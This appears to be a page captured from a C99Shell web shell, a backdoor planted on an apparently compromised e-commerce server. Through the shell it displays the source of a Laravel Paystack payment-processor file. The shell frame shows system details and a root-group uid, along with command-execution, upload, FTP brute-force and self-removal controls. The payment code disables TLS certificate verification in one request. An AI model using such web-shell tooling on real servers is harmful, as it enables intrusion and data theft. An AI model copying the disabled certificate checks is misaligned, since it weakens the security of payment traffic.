!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Paystack/Processor/   drwxr-xr-x
Free 26.49 GB of 117.98 GB (22.45%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PaystackProcessor.php (5.45 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @package PaystackProcessor
 * @author TechVillage <support@techvill.org>
 * @contributor Muhammad AR Zihad <[zihad.techvill@gmail.com]>
 * @created 14-2-22
 */

namespace Modules\Paystack\Processor;

use 
Modules\Gateway\Contracts\PaymentProcessorInterface;
use 
Modules\Gateway\Contracts\RequiresCallbackInterface;
use 
Modules\Gateway\Services\GatewayHelper;
use 
Modules\Paystack\Entities\Paystack;
use 
Modules\Paystack\Response\PaystackResponse;

class 
PaystackProcessor implements PaymentProcessorInterfaceRequiresCallbackInterface
{
    private 
$paystack;
    private 
$helper;
    private 
$email;
    private 
$data;

    
/**
     * Constructor for paystack processor
     * 
     * @return void
     */
    
public function __construct()
    {
        
$this->helper GatewayHelper::getInstance();
    }

    
/**
     * Setup initials data
     *
     * @return void
     */
    
private function setupData()
    {
        
$this->data $this->helper->getPurchaseData($this->helper->getPaymentCode());

        
$this->paystack Paystack::firstWhere('alias'config('paystack.alias'))->data;
    }

    
/**
     * Handles payment for paystack
     *
     * @param Request $request
     * @return mixed
     */
    
public function pay($request)
    {
        if (!
$request->email) {
            throw new 
\Exception('Email is required!');
        }
        
$this->email $request->email;

        
$this->setupData();

        return 
$this->curlPaymentRequest();
    }

    
/**
     * Curl request for payment
     *
     * @return mixed
     */
    
private function curlRequestForPayment()
    {
        
$curl curl_init();

        
$amount round($this->data->total 1000);

        
curl_setopt_array($curl, array(
            
CURLOPT_URL => "https://api.paystack.co/transaction/initialize",
            
CURLOPT_RETURNTRANSFER => true,
            
CURLOPT_CUSTOMREQUEST => "POST",
            
CURLOPT_SSL_VERIFYHOST => config('paystack.ssl_verify_host'),
            
CURLOPT_SSL_VERIFYPEER => config('paystack.ssl_verify_peer'),
            
CURLOPT_POSTFIELDS => json_encode([
                
'amount' => $amount,
                
'email' => $this->email,
                
'currency' => $this->data->currency_code,
                
'callback_url' => route(config('gateway.payment_callback'), withOldQueryIntegrity(['gateway' => 'paystack']))
            ]),
            
CURLOPT_HTTPHEADER => [
                
"authorization: Bearer " $this->paystack->secretKey,
                
"content-type: application/json",
                
"cache-control: no-cache"
            
],
        ));

        return 
curl_exec($curl);
    }

    
/**
     * Curl payment request
     *
     * @return mixed
     */
    
private function curlPaymentRequest()
    {

        
$response $this->curlRequestForPayment();

        
$transaction json_decode($responsetrue);

        if (!
$transaction['status']) {

            throw new 
\Exception($transaction['message']);
        }

        
$this->setTransactionSession($transaction['data']);

        return 
redirect($transaction['data']['authorization_url']);
    }

    
/**
     * Set transaction session for reference
     *
     * @param Array|mixed $transaction
     * @return void
     */
    
private function setTransactionSession($transaction)
    {
        
session([
            
$this->helper->getPaymentCode() . '-paystack' => json_encode([
                
'ref' => $transaction['reference']
            ])
        ]);
    }

    
/**
     * Get payment reference
     *
     * @return mixed
     */
    
private function getPaymentRef()
    {
        return 
json_decode(session($this->helper->getPaymentCode() . '-paystack'));
    }

    
/**
     * Validate transaction.
     *
     * @param Request $request
     * @return PaystackResponse
     */
    
public function validateTransaction($request)
    {
        
$this->setupData();

        
$reference $request->reference;

        if (!
$reference) {
            throw new 
\Exception('No reference supplied.');
        }

        
$sessionRef $this->getPaymentRef();

        if (
$reference <> $sessionRef->ref) {
            throw new 
\Exception('Reference doesn\'t match with the order.');
        }

        
$curlResponse $this->curlRequestForValidation($reference);

        
$transaction json_decode($curlResponse);

        if (!
$transaction->status) {
            throw new 
\Exception($transaction->message);
        }

        if (
'success' <> $transaction->data->status) {
            throw new 
\Exception('Validation Failed.');
        }

        return new 
PaystackResponse($this->data$transaction->data);
    }

    
/**
     * Curl request for validation
     *
     * @param String|Mixed $reference
     * @return Mixed
     */
    
private function curlRequestForValidation($reference)
    {
        
$curl curl_init();
        
curl_setopt_array($curl, array(
            
CURLOPT_URL => "https://api.paystack.co/transaction/verify/" rawurlencode($reference),
            
CURLOPT_RETURNTRANSFER => true,
            
CURLOPT_SSL_VERIFYHOST => 0,
            
CURLOPT_SSL_VERIFYPEER => 0,
            
CURLOPT_HTTPHEADER => [
                
"accept: application/json",
                
"authorization: Bearer " $this->paystack->secretKey,
                
"cache-control: no-cache"
            
],
        ));
        return 
curl_exec($curl);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--